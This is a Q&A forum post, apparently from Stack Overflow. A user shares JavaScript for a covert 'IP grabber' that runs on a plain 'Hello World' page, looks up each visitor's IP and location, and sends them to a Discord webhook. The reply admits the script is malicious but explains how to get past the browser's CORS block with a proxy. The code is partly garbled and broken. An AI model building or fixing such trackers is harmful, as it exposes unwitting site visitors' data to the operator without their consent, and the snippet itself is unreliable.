Send website visitor IP when accessing website

I am working on a personal project and I was wondering why not use a kind of ip logger that logs the ip of a visitor and sends it to a Discord webhook. The code works, but only locally. I tried hosting the code on Glitch but i was getting this error in the console:

(site) deleted for privacy/:1 Access to XMLHttpRequest at ' for privacy)' from origin '(site) deleted for privacy' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. for privacy) Failed to load resource: net::ERR_FAILED


$.getJSON(" api key)", function(data) { //Make sure to use this api or use another but you got to change the values down below
    var request = new XMLHttpRequest();"POST", " webhook)");
    request.setRequestHeader('Content-type', 'application/json');
    var t = {
      username: "gameJet posta",
      avatar_url: "",
      content: "",
      embeds: [{
          color: "4700374",
          title: "szia lajos",
          fields: [
            {name: "Ip cim a latogatonak", value: data.ip_address},
            {name: "varos", value:},
            {name: "orszag", value:},
            {name: "CONTINENT(nem tudom magyarul)", value: data.continent},


<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src=""></script> <!--- Keep or else the script won't work --->
    <script src="grab.js"></script>
    <h1>Hello World</h1>


This answer covers most of the grounds of your error, to just be short I would like to diagnose your error for you and tell you this:

“No Access-Control-Allow-Origin header” problems ply through the CORS Policy as it considers your script malicious ( since it obviously is an IP grabber ) you can work your where around this via a CORS proxy which you can set up with the linked answer above.

Also Chromium does not allow CORS on localhost that’s why you weren’t facing the issue there.

Source: stackoverflow